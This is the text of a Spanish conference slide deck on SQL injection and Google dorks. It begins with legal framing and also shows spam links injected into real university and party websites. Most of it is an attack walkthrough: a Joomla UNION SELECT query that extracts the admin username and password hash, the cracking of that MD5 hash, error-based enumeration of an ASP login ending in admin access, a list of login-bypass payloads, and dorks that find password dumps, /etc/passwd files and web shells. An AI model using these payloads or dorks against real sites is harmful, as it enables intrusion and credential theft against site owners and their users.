Intrusión Web: Google Dorks e Inyección Sql

20-Marzo2015
II Jornadas de Prevención
del
Fraude y el Cibercrimen
Intrusión Web:
Google Dorks e
Inyección Sql
2 Inyección SQL en Páginas
Web
El Hacking Ético es Delito
•
Artículo 197.3 C.P.
El que por cualquier medio o procedimiento y vulnerando las
medidas de seguridad establecidas para impedirlo, acceda sin
autorización a datos o programas informáticos contenidos en un
sistema informático o en parte del mismo o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legítimo derecho a
excluirlo, será castigado con pena de prisión de seis meses a dos
años.
3 Inyección SQL en Páginas
Web
Libertad de Cátedra
•
•
•
La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.
Es el derecho a ejercer la docencia, en el ámbito de la Educación Superior, con absoluta libertad, es decir, es "la libertad
de enseñar y debatir sin verse limitado por doctrinas instituidas".
La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente
su opinión sobre la institución o el sistema en que trabaja, la
libertad ante la censura institucional y la libertad de participar en
órganos profesionales u organizaciones académicas
representativas.
4 Inyección SQL en Páginas
Web
¿Qué es Inyección SQL?
•
•
•
•
Es un método de infiltración de código SQL
Aprovecha vulnerabilidades de diseño en código web
Afecta a cualquier lenguaje que use SqlQueries
Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%
RESULTADO:
SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE
usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
5 Inyección SQL en Páginas
Web
¿Qué fines alberga?
•
Casi ninguno bueno
•
Introducción de código adaware malicioso
•
Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.
•
Sólo se salva el Hacking Ético
EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY
ZIP ...
6 Inyección SQL en Páginas
Web
¿Por qué ocurre esto?
•
•
•
•
•
Mal diseño del código de consulta SQL
Utilización de código estándar no contrastado
Ausencia de actualización de directivas de Seguridad CMS
Inexistencia de seguimiento de la vida de la página web
Carencia de responsables en seguridad informática.
7 Inyección SQL en Páginas
Web
Algunas páginas infectadas
•
•
•
•
Universidades
Páginas oficiales de partidos políticos
Páginas oficiales de Ayuntamientos
Páginas web corporativas y particulares, etc.
8 Inyección SQL en Páginas
Web
El más
Famoso:
La
Viagra
9 Inyección SQL en Páginas
Web
Ejemplos interesantes
Universidad de Salamanca
http://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea
10 Inyección SQL en Páginas
Web
Ejemplos interesantes
Universidad de Extremadura
http://matematicas.unex.es/~brequejo/
11 Inyección SQL en Páginas
Web
Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
12 Inyección SQL en Páginas
Web
Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
13 Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión, Progreso y Democracia
14 Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión,
Progreso y
Democracia
15 Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión, Progreso y Democracia
<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of
must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="
http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into
and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="
http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned
about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="
http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become
unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com"
title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive
your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash
advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our
payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com"
title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take
your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific
generalization of extension.</p>
</div>
16 Inyección SQL en Páginas
Web
¿Cómo se hace Sqlinjection?
•
Se buscan vulnerabilidades en los CMS más populares
•
•
•
•
Joomla es el “Rey de Reyes”
Tampoco se libra Wordpress
Ni Drupal, ni Moodle….
Cualquier sitio web en interesante; incluso el tuyo!!:
•
Es el mejor laboratorio de prácticas
•
Hay miles de páginas web esperando
17 Inyección SQL en Páginas
Web
¿Cómo se hace Sqlinjection?
•
Se buscan páginas web de CMS no actualizadas
•
Los “ciberdelincuentes buenos”, buscan “0 Days”
•
Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:
USER | PASSWORD
18 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
•
•
Joomla 3.2.2
•
Fallo detectado en febrero de 2014
•
Afectaba al propio núcleo de Joomla
•
Por tanto funcionaba en todas las versiones anteriores
•
Buscaba el error en la validación de parámetros web
•
El error estaba tras consultar el “Weblinks-categories”
El objetivo es provocar que Joomla nos muestre su código
fuente para sacar lo más importante:
USER | PASSWORD
19 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
20 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Una instrucción “Normal”:
http://URL/index.php/weblinks-categories?id=1
http://URL/index.php/weblinks-categories?id=X
Resultado:
SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN
`ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id`
AND `m`.`type_alias` = 'com_weblinks.categories' AND
`m`.`content_item_id` IN ( X) 21 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
22 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
ATENTOS AHORA:
Este error anterior nos ha mostrado una información muy valiosa:
El prefijo de las Tablas de la base de datos
...INNER JOIN `ls41c_contentitem_tag_map` ...
Como vemos, en nuestro caso es ls41c
23 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Aprovechemos este error para hacer nuestra consulta:
•
•
Consultamos a la Tabla de Usuarios (ls41c_users):
Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password
http://URL/index.php/weblinks-categories
?id=0) union select
concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from
`ls41c_users`-- )
24 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Esto genera un nuevo error:
25 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Veámoslo con detalle:
El usuario es admin
La clave está encriptada con un HASH MD5
26 Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Sólo nos resta “Deshacer” el MD5:
•
Mediante la búsqueda de la cadena por internet
•
Utilizando páginas web para descifrarlo
•
www.md5online.es
27 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Mediante el uso de operadores en los campos de texto
En los campos de consulta de datos
En los campos de Usuario y Contraseña
En cualquier campo que permita introducir datos
28 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
En la pantalla de Autenticación se nos piden los datos de acceso
El código interno que se ejecuta suele ser algo parecido a:
Select id from tabla_usuarios
where usuario='$usuario' and pass='$pass';
29 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
¿Pero qué pasa si provocamos el error?
Select id from tabla_usuarios
where usuario=' 'or '1'='1 ' and pass=''or
'1'='1';
30 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ejemplo
http://www.XXXX.co.in/Attendance/adminlogin.asp
31 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Introducimos la instrucción ' OR '1'='1
32 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Y “Voila!!!”
33 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
En los campos de acceso tecleamos ' having 1= 1--
34 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
En las páginas vulnerables se producirá el siguiente error:
35 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
El Error anterior nos dio el nombre de la tabla y la columna:
Ingresamos ' group by Usuario.Clave having 1 = 1--
36 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
El Error anterior nos dio un nuevo dato de la tabla y la columna:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--
37 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
Ya tenemos el nombre de la Tabla y la Columna
“usuario.clave_de_acceso”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso having 1=1--
38 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
Ya tenemos la Tabla y la Columna “usuario.password”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
39 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
La siguiente tabla es “usuario.Tipo_De_Usuario”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario
having 1=1--
40 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
La siguiente tabla es “usuario.Punto_De_Captura”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura having 1=1--
41 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
La siguiente tabla es “Usuario.ESTATUS”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,
Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--
No arroja más Resultados y
vuelve al punto de Login
42 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from
Usuario where Clave_de_Acceso > 'a'—
Tantos 1 como tablas hemos encontrado!!
43 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
inurl:login.asp
Ya tenemos al Usuario de Administración:
Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where
Clave_de_Acceso > 'ADMIN'--
Ya tenemos la Clave!
44 Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ya tenemos Acceso a la Web como administrador
45 Inyección SQL en Páginas
Web
Otros parámetros de Sqlinjection
Pueden hacerse otros tipos de consultas
‘ or 1=1 –
1'or’1'=’1
admin’–
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”)
46 Inyección SQL en Páginas
Web
Los «Dorks»: Google Hacking
•
¿Qué es un Dork?
•
•
•
•
Google dorks son combinaciones de operadores, o
comandos de búsqueda especiales que se utilizan para
extraer información valiosa o sensible desde Google.
También se les denomina GoogleDorks
Existen multitud de páginas web donde se muestran los
comandos Dork de Google
La más famosa:
http://www.exploit-db.com/google-dorks/
47 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Site:
Site:nombrededominio.extension «cadena a buscar»
Filetype:
•
filetype:extensión «nombredelfichero»
Inurl:
•
Inurl:”página a buscar”
intitle:
•
Intitle: “témino a buscar”
Intext:
•
Intext:”Texto a buscar dentro de un fichero”
Link:
•
Link: “enlace web a buscar
•
•
•
•
•
•
48 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Site:
•
Site:nombrededominio.extension «cadena a buscar»
site:usal.es "azithromycin“
Nos devolverá todas las páginas pertenecientes al Dominio
Usal.es que contengan el término “azithromycin”
49 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Filetype:
•
filetype:extensión «nombredelfichero»
filetype:sql “# dumping data for table” “`PASSWORD` varchar”
Busca peticiones de contenido en ficheros con extensión “XXX”
50 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Inurl:
•
Inurl:”Texto a buscar”
inurl:webarch/mainframe.cgi
inurl:intranet filetype:doc confidential
•
•
La primera instrucción busca impresoras de red
La segunda instrucción busca documentos confidenciales
dentro de una intranet
51 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Intext:
•
Intext:”Texto a buscar dentro de un fichero”
filetype:php intext:"!C99Shell v. 1.0 beta"
Busca ficheros php que gestionen la Shell C99; C99 es una consola
de gestión vía Web
52 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Link:
•
Link: “enlace web a buscar
Link:elpais.com
Muestra un listado de páginas web que contienen el link de la
revista.
53 Inyección SQL en Páginas
Web
Los «Dorks» más típicos
•
Combinaciones
•
inurl:"/root/etc/passwd" intext:"home/*:“
•
inurl:/administrator/index.php?autologin=1
•
filetype:xls "username | password"
54 Inyección SQL en Páginas
Web
Veamos algunos Resultados